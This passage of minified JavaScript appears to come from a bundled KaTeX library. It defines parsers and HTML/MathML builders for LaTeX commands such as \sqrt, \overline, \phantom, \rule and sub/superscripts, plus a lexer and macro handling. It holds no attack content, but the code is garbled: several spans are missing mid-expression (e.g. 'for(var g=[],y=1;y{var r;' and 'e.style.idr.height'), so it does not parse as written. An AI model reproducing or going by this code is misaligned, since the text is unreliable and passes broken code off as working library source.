mt.SpaceNode(r)}});Mt({type:"lap",names:["\\mathllap","\\mathrlap","\\mathclap"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"lap",mode:r.mode,alignment:n.slice(5),body:i}},"handler"),htmlBuilder:o((t,e)=>{var r;t.alignment==="clap"?(r=$e.makeSpan([],[Hr(t.body,e)]),r=$e.makeSpan(["inner"],[r],e)):r=$e.makeSpan(["inner"],[Hr(t.body,e)]);var n=$e.makeSpan(["fix"],[]),i=$e.makeSpan([t.alignment],[r,n],e),a=$e.makeSpan(["strut"]);return a.style.height=St(i.height+i.depth),i.depth&&(a.style.verticalAlign=St(-i.depth)),i.children.unshift(a),i=$e.makeSpan(["thinbox"],[i],e),$e.makeSpan(["mord","vbox"],[i],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=new mt.MathNode("mpadded",[wn(t.body,e)]);if(t.alignment!=="rlap"){var n=t.alignment==="llap"?"-1":"-0.5";r.setAttribute("lspace",n+"width")}return r.setAttribute("width","0px"),r},"mathmlBuilder")});Mt({type:"styling",names:["\\(","$"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler(t,e){var{funcName:r,parser:n}=t,i=n.mode;n.switchMode("math");var a=r==="\\("?"\\)":"$",s=n.parseExpression(!1,a);return n.expect(a),n.switchMode(i),{type:"styling",mode:n.mode,style:"text",body:s}}});Mt({type:"text",names:["\\)","\\]"],props:{numArgs:0,allowedInText:!0,allowedInMath:!1},handler(t,e){throw new gt("Mismatched "+t.funcName)}});IV=o((t,e)=>{switch(e.style.size){case nr.DISPLAY.size:return t.display;case nr.TEXT.size:return t.text;case nr.SCRIPT.size:return t.script;case nr.SCRIPTSCRIPT.size:return t.scriptscript;default:return t.text}},"chooseMathStyle");Mt({type:"mathchoice",names:["\\mathchoice"],props:{numArgs:4,primitive:!0},handler:o((t,e)=>{var{parser:r}=t;return{type:"mathchoice",mode:r.mode,display:gi(e[0]),text:gi(e[1]),script:gi(e[2]),scriptscript:gi(e[3])}},"handler"),htmlBuilder:o((t,e)=>{var r=IV(t,e),n=Ii(r,e,!1);return $e.makeFragment(n)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=IV(t,e);return Th(r,e)},"mathmlBuilder")});RU=o((t,e,r,n,i,a,s)=>{t=$e.makeSpan([],[t]);var l=r&&er.isCharacterBox(r),u,h;if(e){var f=Hr(e,n.havingStyle(i.sup()),n);h={elem:f,kern:Math.max(n.fontMetrics().bigOpSpacing1,n.fontMetrics().bigOpSpacing3-f.depth)}}if(r){var d=Hr(r,n.havingStyle(i.sub()),n);u={elem:d,kern:Math.max(n.fontMetrics().bigOpSpacing2,n.fontMetrics().bigOpSpacing4-d.height)}}var p;if(h&&u){var m=n.fontMetrics().bigOpSpacing5+u.elem.height+u.elem.depth+u.kern+t.depth+s;p=$e.makeVList({positionType:"bottom",positionData:m,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:u.elem,marginLeft:St(-a)},{type:"kern",size:u.kern},{type:"elem",elem:t},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:St(a)},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else if(u){var g=t.height-s;p=$e.makeVList({positionType:"top",positionData:g,children:[{type:"kern",size:n.fontMetrics().bigOpSpacing5},{type:"elem",elem:u.elem,marginLeft:St(-a)},{type:"kern",size:u.kern},{type:"elem",elem:t}]},n)}else if(h){var y=t.depth+s;p=$e.makeVList({positionType:"bottom",positionData:y,children:[{type:"elem",elem:t},{type:"kern",size:h.kern},{type:"elem",elem:h.elem,marginLeft:St(a)},{type:"kern",size:n.fontMetrics().bigOpSpacing5}]},n)}else return t;var v=[p];if(u&&a!==0&&!l){var x=$e.makeSpan(["mspace"],[],n);x.style.marginRight=St(a),v.unshift(x)}return $e.makeSpan(["mop","op-limits"],v,n)},"assembleSupSub"),NU=["\\smallint"],C0=o((t,e)=>{var r,n,i=!1,a;t.type==="supsub"?(r=t.sup,n=t.sub,a=Tr(t.base,"op"),i=!0):a=Tr(t,"op");var s=e.style,l=!1;s.size===nr.DISPLAY.size&&a.symbol&&!er.contains(NU,a.name)&&(l=!0);var u;if(a.symbol){var h=l?"Size2-Regular":"Size1-Regular",f="";if((a.name==="\\oiint"||a.name==="\\oiiint")&&(f=a.name.slice(1),a.name=f==="oiint"?"\\iint":"\\iiint"),u=$e.makeSymbol(a.name,h,"math",e,["mop","op-symbol",l?"large-op":"small-op"]),f.length>0){var d=u.italic,p=$e.staticSvg(f+"Size"+(l?"2":"1"),e);u=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:u,shift:0},{type:"elem",elem:p,shift:l?.08:0}]},e),a.name="\\"+f,u.classes.unshift("mop"),u.italic=d}}else if(a.body){var m=Ii(a.body,e,!0);m.length===1&&m[0]instanceof Cs?(u=m[0],u.classes[0]="mop"):u=$e.makeSpan(["mop"],m,e)}else{for(var g=[],y=1;y{var r;if(t.symbol)r=new es("mo",[Lo(t.name,t.mode)]),er.contains(NU,t.name)&&r.setAttribute("largeop","false");else if(t.body)r=new es("mo",As(t.body,e));else{r=new es("mi",[new _o(t.name.slice(1))]);var n=new es("mo",[Lo("\u2061","text")]);t.parentIsSupSub?r=new es("mrow",[r,n]):r=sU([r,n])}return r},"mathmlBuilder$1"),wwe={"\u220F":"\\prod","\u2210":"\\coprod","\u2211":"\\sum","\u22C0":"\\bigwedge","\u22C1":"\\bigvee","\u22C2":"\\bigcap","\u22C3":"\\bigcup","\u2A00":"\\bigodot","\u2A01":"\\bigoplus","\u2A02":"\\bigotimes","\u2A04":"\\biguplus","\u2A06":"\\bigsqcup"};Mt({type:"op",names:["\\coprod","\\bigvee","\\bigwedge","\\biguplus","\\bigcap","\\bigcup","\\intop","\\prod","\\sum","\\bigotimes","\\bigoplus","\\bigodot","\\bigsqcup","\\smallint","\u220F","\u2210","\u2211","\u22C0","\u22C1","\u22C2","\u22C3","\u2A00","\u2A01","\u2A02","\u2A04","\u2A06"],props:{numArgs:0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=n;return i.length===1&&(i=wwe[i]),{type:"op",mode:r.mode,limits:!0,parentIsSupSub:!1,symbol:!0,name:i}},"handler"),htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\mathop"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"op",mode:r.mode,limits:!1,parentIsSupSub:!1,symbol:!1,body:gi(n)}},"handler"),htmlBuilder:C0,mathmlBuilder:Jy});kwe={"\u222B":"\\int","\u222C":"\\iint","\u222D":"\\iiint","\u222E":"\\oint","\u222F":"\\oiint","\u2230":"\\oiiint"};Mt({type:"op",names:["\\arcsin","\\arccos","\\arctan","\\arctg","\\arcctg","\\arg","\\ch","\\cos","\\cosec","\\cosh","\\cot","\\cotg","\\coth","\\csc","\\ctg","\\cth","\\deg","\\dim","\\exp","\\hom","\\ker","\\lg","\\ln","\\log","\\sec","\\sin","\\sinh","\\sh","\\tan","\\tanh","\\tg","\\th"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t;return{type:"op",mode:e.mode,limits:!1,parentIsSupSub:!1,symbol:!1,name:r}},htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\det","\\gcd","\\inf","\\lim","\\max","\\min","\\Pr","\\sup"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t;return{type:"op",mode:e.mode,limits:!0,parentIsSupSub:!1,symbol:!1,name:r}},htmlBuilder:C0,mathmlBuilder:Jy});Mt({type:"op",names:["\\int","\\iint","\\iiint","\\oint","\\oiint","\\oiiint","\u222B","\u222C","\u222D","\u222E","\u222F","\u2230"],props:{numArgs:0},handler(t){var{parser:e,funcName:r}=t,n=r;return n.length===1&&(n=kwe[n]),{type:"op",mode:e.mode,limits:!1,parentIsSupSub:!1,symbol:!0,name:n}},htmlBuilder:C0,mathmlBuilder:Jy});MU=o((t,e)=>{var r,n,i=!1,a;t.type==="supsub"?(r=t.sup,n=t.sub,a=Tr(t.base,"operatorname"),i=!0):a=Tr(t,"operatorname");var s;if(a.body.length>0){for(var l=a.body.map(d=>{var p=d.text;return typeof p=="string"?{type:"textord",mode:d.mode,text:p}:d}),u=Ii(l,e.withFont("mathrm"),!0),h=0;h{for(var r=As(t.body,e.withFont("mathrm")),n=!0,i=0;if.toText()).join("");r=[new mt.TextNode(l)]}var u=new mt.MathNode("mi",r);u.setAttribute("mathvariant","normal");var h=new mt.MathNode("mo",[Lo("\u2061","text")]);return t.parentIsSupSub?new mt.MathNode("mrow",[u,h]):mt.newDocumentFragment([u,h])},"mathmlBuilder");Mt({type:"operatorname",names:["\\operatorname@","\\operatornamewithlimits"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=e[0];return{type:"operatorname",mode:r.mode,body:gi(i),alwaysHandleSupSub:n==="\\operatornamewithlimits",limits:!1,parentIsSupSub:!1}},"handler"),htmlBuilder:MU,mathmlBuilder:Ewe});ce("\\operatorname","\\@ifstar\\operatornamewithlimits\\operatorname@");dd({type:"ordgroup",htmlBuilder(t,e){return t.semisimple?$e.makeFragment(Ii(t.body,e,!1)):$e.makeSpan(["mord"],Ii(t.body,e,!0),e)},mathmlBuilder(t,e){return Th(t.body,e,!0)}});Mt({type:"overline",names:["\\overline"],props:{numArgs:1},handler(t,e){var{parser:r}=t,n=e[0];return{type:"overline",mode:r.mode,body:n}},htmlBuilder(t,e){var r=Hr(t.body,e.havingCrampedStyle()),n=$e.makeLineSpan("overline-line",e),i=e.fontMetrics().defaultRuleThickness,a=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r},{type:"kern",size:3*i},{type:"elem",elem:n},{type:"kern",size:i}]},e);return $e.makeSpan(["mord","overline"],[a],e)},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[new mt.TextNode("\u203E")]);r.setAttribute("stretchy","true");var n=new mt.MathNode("mover",[wn(t.body,e),r]);return n.setAttribute("accent","true"),n}});Mt({type:"phantom",names:["\\phantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"phantom",mode:r.mode,body:gi(n)}},"handler"),htmlBuilder:o((t,e)=>{var r=Ii(t.body,e.withPhantom(),!1);return $e.makeFragment(r)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=As(t.body,e);return new mt.MathNode("mphantom",r)},"mathmlBuilder")});Mt({type:"hphantom",names:["\\hphantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"hphantom",mode:r.mode,body:n}},"handler"),htmlBuilder:o((t,e)=>{var r=$e.makeSpan([],[Hr(t.body,e.withPhantom())]);if(r.height=0,r.depth=0,r.children)for(var n=0;n{var r=As(gi(t.body),e),n=new mt.MathNode("mphantom",r),i=new mt.MathNode("mpadded",[n]);return i.setAttribute("height","0px"),i.setAttribute("depth","0px"),i},"mathmlBuilder")});Mt({type:"vphantom",names:["\\vphantom"],props:{numArgs:1,allowedInText:!0},handler:o((t,e)=>{var{parser:r}=t,n=e[0];return{type:"vphantom",mode:r.mode,body:n}},"handler"),htmlBuilder:o((t,e)=>{var r=$e.makeSpan(["inner"],[Hr(t.body,e.withPhantom())]),n=$e.makeSpan(["fix"],[]);return $e.makeSpan(["mord","rlap"],[r,n],e)},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=As(gi(t.body),e),n=new mt.MathNode("mphantom",r),i=new mt.MathNode("mpadded",[n]);return i.setAttribute("width","0px"),i},"mathmlBuilder")});Mt({type:"raisebox",names:["\\raisebox"],props:{numArgs:2,argTypes:["size","hbox"],allowedInText:!0},handler(t,e){var{parser:r}=t,n=Tr(e[0],"size").value,i=e[1];return{type:"raisebox",mode:r.mode,dy:n,body:i}},htmlBuilder(t,e){var r=Hr(t.body,e),n=ii(t.dy,e);return $e.makeVList({positionType:"shift",positionData:-n,children:[{type:"elem",elem:r}]},e)},mathmlBuilder(t,e){var r=new mt.MathNode("mpadded",[wn(t.body,e)]),n=t.dy.number+t.dy.unit;return r.setAttribute("voffset",n),r}});Mt({type:"internal",names:["\\relax"],props:{numArgs:0,allowedInText:!0,allowedInArgument:!0},handler(t){var{parser:e}=t;return{type:"internal",mode:e.mode}}});Mt({type:"rule",names:["\\rule"],props:{numArgs:2,numOptionalArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["size","size","size"]},handler(t,e,r){var{parser:n}=t,i=r[0],a=Tr(e[0],"size"),s=Tr(e[1],"size");return{type:"rule",mode:n.mode,shift:i&&Tr(i,"size").value,width:a.value,height:s.value}},htmlBuilder(t,e){var r=$e.makeSpan(["mord","rule"],[],e),n=ii(t.width,e),i=ii(t.height,e),a=t.shift?ii(t.shift,e):0;return r.style.borderRightWidth=St(n),r.style.borderTopWidth=St(i),r.style.bottom=St(a),r.width=n,r.height=i+a,r.depth=-a,r.maxFontSize=i*1.125*e.sizeMultiplier,r},mathmlBuilder(t,e){var r=ii(t.width,e),n=ii(t.height,e),i=t.shift?ii(t.shift,e):0,a=e.color&&e.getColor()||"black",s=new mt.MathNode("mspace");s.setAttribute("mathbackground",a),s.setAttribute("width",St(r)),s.setAttribute("height",St(n));var l=new mt.MathNode("mpadded",[s]);return i>=0?l.setAttribute("height",St(i)):(l.setAttribute("height",St(i)),l.setAttribute("depth",St(-i))),l.setAttribute("voffset",St(i)),l}});o(IU,"sizingGroup");OV=["\\tiny","\\sixptsize","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"],Swe=o((t,e)=>{var r=e.havingSize(t.size);return IU(t.body,r,e)},"htmlBuilder");Mt({type:"sizing",names:OV,props:{numArgs:0,allowedInText:!0},handler:o((t,e)=>{var{breakOnTokenText:r,funcName:n,parser:i}=t,a=i.parseExpression(!1,r);return{type:"sizing",mode:i.mode,size:OV.indexOf(n)+1,body:a}},"handler"),htmlBuilder:Swe,mathmlBuilder:o((t,e)=>{var r=e.havingSize(t.size),n=As(t.body,r),i=new mt.MathNode("mstyle",n);return i.setAttribute("mathsize",St(r.sizeMultiplier)),i},"mathmlBuilder")});Mt({type:"smash",names:["\\smash"],props:{numArgs:1,numOptionalArgs:1,allowedInText:!0},handler:o((t,e,r)=>{var{parser:n}=t,i=!1,a=!1,s=r[0]&&Tr(r[0],"ordgroup");if(s)for(var l="",u=0;u{var r=$e.makeSpan([],[Hr(t.body,e)]);if(!t.smashHeight&&!t.smashDepth)return r;if(t.smashHeight&&(r.height=0,r.children))for(var n=0;n{var r=new mt.MathNode("mpadded",[wn(t.body,e)]);return t.smashHeight&&r.setAttribute("height","0px"),t.smashDepth&&r.setAttribute("depth","0px"),r},"mathmlBuilder")});Mt({type:"sqrt",names:["\\sqrt"],props:{numArgs:1,numOptionalArgs:1},handler(t,e,r){var{parser:n}=t,i=r[0],a=e[0];return{type:"sqrt",mode:n.mode,body:a,index:i}},htmlBuilder(t,e){var r=Hr(t.body,e.havingCrampedStyle());r.height===0&&(r.height=e.fontMetrics().xHeight),r=$e.wrapFragment(r,e);var n=e.fontMetrics(),i=n.defaultRuleThickness,a=i;e.style.idr.height+r.depth+s&&(s=(s+d-r.height-r.depth)/2);var p=u.height-r.height-s-h;r.style.paddingLeft=St(f);var m=$e.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:r,wrapperClasses:["svg-align"]},{type:"kern",size:-(r.height+p)},{type:"elem",elem:u},{type:"kern",size:h}]},e);if(t.index){var g=e.havingStyle(nr.SCRIPTSCRIPT),y=Hr(t.index,g,e),v=.6*(m.height-m.depth),x=$e.makeVList({positionType:"shift",positionData:-v,children:[{type:"elem",elem:y}]},e),b=$e.makeSpan(["root"],[x]);return $e.makeSpan(["mord","sqrt"],[b,m],e)}else return $e.makeSpan(["mord","sqrt"],[m],e)},mathmlBuilder(t,e){var{body:r,index:n}=t;return n?new mt.MathNode("mroot",[wn(r,e),wn(n,e)]):new mt.MathNode("msqrt",[wn(r,e)])}});PV={display:nr.DISPLAY,text:nr.TEXT,script:nr.SCRIPT,scriptscript:nr.SCRIPTSCRIPT};Mt({type:"styling",names:["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t,e){var{breakOnTokenText:r,funcName:n,parser:i}=t,a=i.parseExpression(!0,r),s=n.slice(1,n.length-5);return{type:"styling",mode:i.mode,style:s,body:a}},htmlBuilder(t,e){var r=PV[t.style],n=e.havingStyle(r).withFont("");return IU(t.body,n,e)},mathmlBuilder(t,e){var r=PV[t.style],n=e.havingStyle(r),i=As(t.body,n),a=new mt.MathNode("mstyle",i),s={display:["0","true"],text:["0","false"],script:["1","false"],scriptscript:["2","false"]},l=s[t.style];return a.setAttribute("scriptlevel",l[0]),a.setAttribute("displaystyle",l[1]),a}});Cwe=o(function(e,r){var n=e.base;if(n)if(n.type==="op"){var i=n.limits&&(r.style.size===nr.DISPLAY.size||n.alwaysHandleSupSub);return i?C0:null}else if(n.type==="operatorname"){var a=n.alwaysHandleSupSub&&(r.style.size===nr.DISPLAY.size||n.limits);return a?MU:null}else{if(n.type==="accent")return er.isCharacterBox(n.base)?dA:null;if(n.type==="horizBrace"){var s=!e.sub;return s===n.isOver?LU:null}else return null}else return null},"htmlBuilderDelegate");dd({type:"supsub",htmlBuilder(t,e){var r=Cwe(t,e);if(r)return r(t,e);var{base:n,sup:i,sub:a}=t,s=Hr(n,e),l,u,h=e.fontMetrics(),f=0,d=0,p=n&&er.isCharacterBox(n);if(i){var m=e.havingStyle(e.style.sup());l=Hr(i,m,e),p||(f=s.height-m.fontMetrics().supDrop*m.sizeMultiplier/e.sizeMultiplier)}if(a){var g=e.havingStyle(e.style.sub());u=Hr(a,g,e),p||(d=s.depth+g.fontMetrics().subDrop*g.sizeMultiplier/e.sizeMultiplier)}var y;e.style===nr.DISPLAY?y=h.sup1:e.style.cramped?y=h.sup3:y=h.sup2;var v=e.sizeMultiplier,x=St(.5/h.ptPerEm/v),b=null;if(u){var T=t.base&&t.base.type==="op"&&t.base.name&&(t.base.name==="\\oiint"||t.base.name==="\\oiiint");(s instanceof Cs||T)&&(b=St(-s.italic))}var S;if(l&&u){f=Math.max(f,y,l.depth+.25*h.xHeight),d=Math.max(d,h.sub2);var w=h.defaultRuleThickness,k=4*w;if(f-l.depth-(u.height-d)0&&(f+=A,d-=A)}var C=[{type:"elem",elem:u,shift:d,marginRight:x,marginLeft:b},{type:"elem",elem:l,shift:-f,marginRight:x}];S=$e.makeVList({positionType:"individualShift",children:C},e)}else if(u){d=Math.max(d,h.sub1,u.height-.8*h.xHeight);var R=[{type:"elem",elem:u,marginLeft:b,marginRight:x}];S=$e.makeVList({positionType:"shift",positionData:d,children:R},e)}else if(l)f=Math.max(f,y,l.depth+.25*h.xHeight),S=$e.makeVList({positionType:"shift",positionData:-f,children:[{type:"elem",elem:l,marginRight:x}]},e);else throw new Error("supsub must have either sup or sub.");var I=J7(s,"right")||"mord";return $e.makeSpan([I],[s,$e.makeSpan(["msupsub"],[S])],e)},mathmlBuilder(t,e){var r=!1,n,i;t.base&&t.base.type==="horizBrace"&&(i=!!t.sup,i===t.base.isOver&&(r=!0,n=t.base.isOver)),t.base&&(t.base.type==="op"||t.base.type==="operatorname")&&(t.base.parentIsSupSub=!0);var a=[wn(t.base,e)];t.sub&&a.push(wn(t.sub,e)),t.sup&&a.push(wn(t.sup,e));var s;if(r)s=n?"mover":"munder";else if(t.sub)if(t.sup){var h=t.base;h&&h.type==="op"&&h.limits&&e.style===nr.DISPLAY||h&&h.type==="operatorname"&&h.alwaysHandleSupSub&&(e.style===nr.DISPLAY||h.limits)?s="munderover":s="msubsup"}else{var u=t.base;u&&u.type==="op"&&u.limits&&(e.style===nr.DISPLAY||u.alwaysHandleSupSub)||u&&u.type==="operatorname"&&u.alwaysHandleSupSub&&(u.limits||e.style===nr.DISPLAY)?s="munder":s="msub"}else{var l=t.base;l&&l.type==="op"&&l.limits&&(e.style===nr.DISPLAY||l.alwaysHandleSupSub)||l&&l.type==="operatorname"&&l.alwaysHandleSupSub&&(l.limits||e.style===nr.DISPLAY)?s="mover":s="msup"}return new mt.MathNode(s,a)}});dd({type:"atom",htmlBuilder(t,e){return $e.mathsym(t.text,t.mode,e,["m"+t.family])},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[Lo(t.text,t.mode)]);if(t.family==="bin"){var n=hA(t,e);n==="bold-italic"&&r.setAttribute("mathvariant",n)}else t.family==="punct"?r.setAttribute("separator","true"):(t.family==="open"||t.family==="close")&&r.setAttribute("stretchy","false");return r}});OU={mi:"italic",mn:"normal",mtext:"normal"};dd({type:"mathord",htmlBuilder(t,e){return $e.makeOrd(t,e,"mathord")},mathmlBuilder(t,e){var r=new mt.MathNode("mi",[Lo(t.text,t.mode,e)]),n=hA(t,e)||"italic";return n!==OU[r.type]&&r.setAttribute("mathvariant",n),r}});dd({type:"textord",htmlBuilder(t,e){return $e.makeOrd(t,e,"textord")},mathmlBuilder(t,e){var r=Lo(t.text,t.mode,e),n=hA(t,e)||"normal",i;return t.mode==="text"?i=new mt.MathNode("mtext",[r]):/[0-9]/.test(t.text)?i=new mt.MathNode("mn",[r]):t.text==="\\prime"?i=new mt.MathNode("mo",[r]):i=new mt.MathNode("mi",[r]),n!==OU[i.type]&&i.setAttribute("mathvariant",n),i}});W7={"\\nobreak":"nobreak","\\allowbreak":"allowbreak"},Y7={" ":{},"\\ ":{},"~":{className:"nobreak"},"\\space":{},"\\nobreakspace":{className:"nobreak"}};dd({type:"spacing",htmlBuilder(t,e){if(Y7.hasOwnProperty(t.text)){var r=Y7[t.text].className||"";if(t.mode==="text"){var n=$e.makeOrd(t,e,"textord");return n.classes.push(r),n}else return $e.makeSpan(["mspace",r],[$e.mathsym(t.text,t.mode,e)],e)}else{if(W7.hasOwnProperty(t.text))return $e.makeSpan(["mspace",W7[t.text]],[],e);throw new gt('Unknown type of space "'+t.text+'"')}},mathmlBuilder(t,e){var r;if(Y7.hasOwnProperty(t.text))r=new mt.MathNode("mtext",[new mt.TextNode("\xA0")]);else{if(W7.hasOwnProperty(t.text))return new mt.MathNode("mspace");throw new gt('Unknown type of space "'+t.text+'"')}return r}});BV=o(()=>{var t=new mt.MathNode("mtd",[]);return t.setAttribute("width","50%"),t},"pad");dd({type:"tag",mathmlBuilder(t,e){var r=new mt.MathNode("mtable",[new mt.MathNode("mtr",[BV(),new mt.MathNode("mtd",[Th(t.body,e)]),BV(),new mt.MathNode("mtd",[Th(t.tag,e)])])]);return r.setAttribute("width","100%"),r}});FV={"\\text":void 0,"\\textrm":"textrm","\\textsf":"textsf","\\texttt":"texttt","\\textnormal":"textrm"},$V={"\\textbf":"textbf","\\textmd":"textmd"},Awe={"\\textit":"textit","\\textup":"textup"},zV=o((t,e)=>{var r=t.font;if(r){if(FV[r])return e.withTextFontFamily(FV[r]);if($V[r])return e.withTextFontWeight($V[r]);if(r==="\\emph")return e.fontShape==="textit"?e.withTextFontShape("textup"):e.withTextFontShape("textit")}else return e;return e.withTextFontShape(Awe[r])},"optionsWithFont");Mt({type:"text",names:["\\text","\\textrm","\\textsf","\\texttt","\\textnormal","\\textbf","\\textmd","\\textit","\\textup","\\emph"],props:{numArgs:1,argTypes:["text"],allowedInArgument:!0,allowedInText:!0},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"text",mode:r.mode,body:gi(i),font:n}},htmlBuilder(t,e){var r=zV(t,e),n=Ii(t.body,r,!0);return $e.makeSpan(["mord","text"],n,r)},mathmlBuilder(t,e){var r=zV(t,e);return Th(t.body,r)}});Mt({type:"underline",names:["\\underline"],props:{numArgs:1,allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"underline",mode:r.mode,body:e[0]}},htmlBuilder(t,e){var r=Hr(t.body,e),n=$e.makeLineSpan("underline-line",e),i=e.fontMetrics().defaultRuleThickness,a=$e.makeVList({positionType:"top",positionData:r.height,children:[{type:"kern",size:i},{type:"elem",elem:n},{type:"kern",size:3*i},{type:"elem",elem:r}]},e);return $e.makeSpan(["mord","underline"],[a],e)},mathmlBuilder(t,e){var r=new mt.MathNode("mo",[new mt.TextNode("\u203E")]);r.setAttribute("stretchy","true");var n=new mt.MathNode("munder",[wn(t.body,e),r]);return n.setAttribute("accentunder","true"),n}});Mt({type:"vcenter",names:["\\vcenter"],props:{numArgs:1,argTypes:["original"],allowedInText:!1},handler(t,e){var{parser:r}=t;return{type:"vcenter",mode:r.mode,body:e[0]}},htmlBuilder(t,e){var r=Hr(t.body,e),n=e.fontMetrics().axisHeight,i=.5*(r.height-n-(r.depth+n));return $e.makeVList({positionType:"shift",positionData:i,children:[{type:"elem",elem:r}]},e)},mathmlBuilder(t,e){return new mt.MathNode("mpadded",[wn(t.body,e)],["vcenter"])}});Mt({type:"verb",names:["\\verb"],props:{numArgs:0,allowedInText:!0},handler(t,e,r){throw new gt("\\verb ended by end of line instead of matching delimiter")},htmlBuilder(t,e){for(var r=GV(t),n=[],i=e.havingStyle(e.style.text()),a=0;at.body.replace(/ /g,t.star?"\u2423":"\xA0"),"makeVerb"),xh=iU,PU=`[ \r + ]`,_we="\\\\[a-zA-Z@]+",Dwe="\\\\[^\uD800-\uDFFF]",Lwe="("+_we+")"+PU+"*",Rwe=`\\\\( +|[ \r ]+ +?)[ \r ]*`,iA="[\u0300-\u036F]",Nwe=new RegExp(iA+"+$"),Mwe="("+PU+"+)|"+(Rwe+"|")+"([!-\\[\\]-\u2027\u202A-\uD7FF\uF900-\uFFFF]"+(iA+"*")+"|[\uD800-\uDBFF][\uDC00-\uDFFF]"+(iA+"*")+"|\\\\verb\\*([^]).*?\\4|\\\\verb([^*a-zA-Z]).*?\\5"+("|"+Lwe)+("|"+Dwe+")"),S3=class{static{o(this,"Lexer")}constructor(e,r){this.input=void 0,this.settings=void 0,this.tokenRegex=void 0,this.catcodes=void 0,this.input=e,this.settings=r,this.tokenRegex=new RegExp(Mwe,"g"),this.catcodes={"%":14,"~":13}}setCatcode(e,r){this.catcodes[e]=r}lex(){var e=this.input,r=this.tokenRegex.lastIndex;if(r===e.length)return new Do("EOF",new to(this,r,r));var n=this.tokenRegex.exec(e);if(n===null||n.index!==r)throw new gt("Unexpected character: '"+e[r]+"'",new Do(e[r],new to(this,r,r+1)));var i=n[6]||n[3]||(n[2]?"\\ ":" ");if(this.catcodes[i]===14){var a=e.indexOf(` +`,this.tokenRegex.lastIndex);return a===-1?(this.tokenRegex.lastIndex=e.length,this.settings.reportNonstrict("commentAtEnd","% comment has no terminating newline; LaTeX would fail because of commenting the end of math mode (e.g. $)")):this.tokenRegex.lastIndex=a+1,this.lex()}return new Do(i,new to(this,r,this.tokenRegex.lastIndex))}},aA=class{static{o(this,"Namespace")}constructor(e,r){e===void 0&&(e={}),r===void 0&&(r={}),this.current=void 0,this.builtins=void 0,this.undefStack=void 0,this.current=r,this.builtins=e,this.undefStack=[]}beginGroup(){this.undefStack.push({})}endGroup(){if(this.undefStack.length===0)throw new gt("Unbalanced namespace destruction: attempt to pop global namespace; please report this as a bug");var e=this.undefStack.pop();for(var r in e)e.hasOwnProperty(r)&&(e[r]==null?delete this.current[r]:this.current[r]=e[r])}endGroups(){for(;this.undefStack.length>0;)this.endGroup()}has(e){return this.current.hasOwnProperty(e)||this.builtins.hasOwnProperty(e)}get(e){return this.current.hasOwnProperty(e)?this.current[e]:this.builtins[e]}set(e,r,n){if(n===void 0&&(n=!1),n){for(var i=0;i0&&(this.undefStack[this.undefStack.length-1][e]=r)}else{var a=this.undefStack[this.undefStack.length-1];a&&!a.hasOwnProperty(e)&&(a[e]=this.current[e])}r==null?delete this.current[e]:this.current[e]=r}},Iwe=SU;ce("\\noexpand",function(t){var e=t.popToken();return t.isExpandable(e.text)&&(e.noexpand=!0,e.treatAsRelax=!0),{tokens:[e],numArgs:0}});ce("\\expandafter",function(t){var e=t.popToken();return t.expandOnce(!0),{tokens:[e],numArgs:0}});ce("\\@firstoftwo",function(t){var e=t.consumeArgs(2);return{tokens:e[0],numArgs:0}});ce("\\@secondoftwo",function(t){var e=t.consumeArgs(2);return{tokens:e[1],numArgs:0}});ce("\\@ifnextchar",function(t){var e=t.consumeArgs(3);t.consumeSpaces();var r=t.future();return e[0].length===1&&e[0][0].text===r.text?{tokens:e[1],numArgs:0}:{tokens:e[2],numArgs:0}});ce("\\@ifstar","\\@ifnextchar *{\\@firstoftwo{#1}}");ce("\\TextOrMath",function(t){var e=t.consumeArgs(2);return t.mode==="text"?{tokens:e[0],numArgs:0}:{tokens:e[1],numArgs:0}});VV={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};ce("\\char",function(t){var e=t.popToken(),r,n="";if(e.text==="'")r=8,e=t.popToken();else if(e.text==='"')r=16,e=t.popToken();else if(e.text==="`")if(e=t.popToken(),e.text[0]==="\\")n=e.text.charCodeAt(1);else{if(e.text==="EOF")throw new gt("\\char` missing argument");n=e.text.charCodeAt(0)}else r=10;if(r){if(n=VV[e.text],n==null||n>=r)throw new gt("Invalid base-"+r+" digit "+e.text);for(var i;(i=VV[t.future().text])!=null&&i{var i=t.consumeArg().tokens;if(i.length!==1)throw new gt("\\newcommand's first argument must be a macro name");var a=i[0].text,s=t.isDefined(a);if(s&&!e)throw new gt("\\newcommand{"+a+"} attempting to redefine "+(a+"; use \\renewcommand"));if(!s&&!r)throw new gt("\\renewcommand{"+a+"} when command "+a+" does not yet exist; use 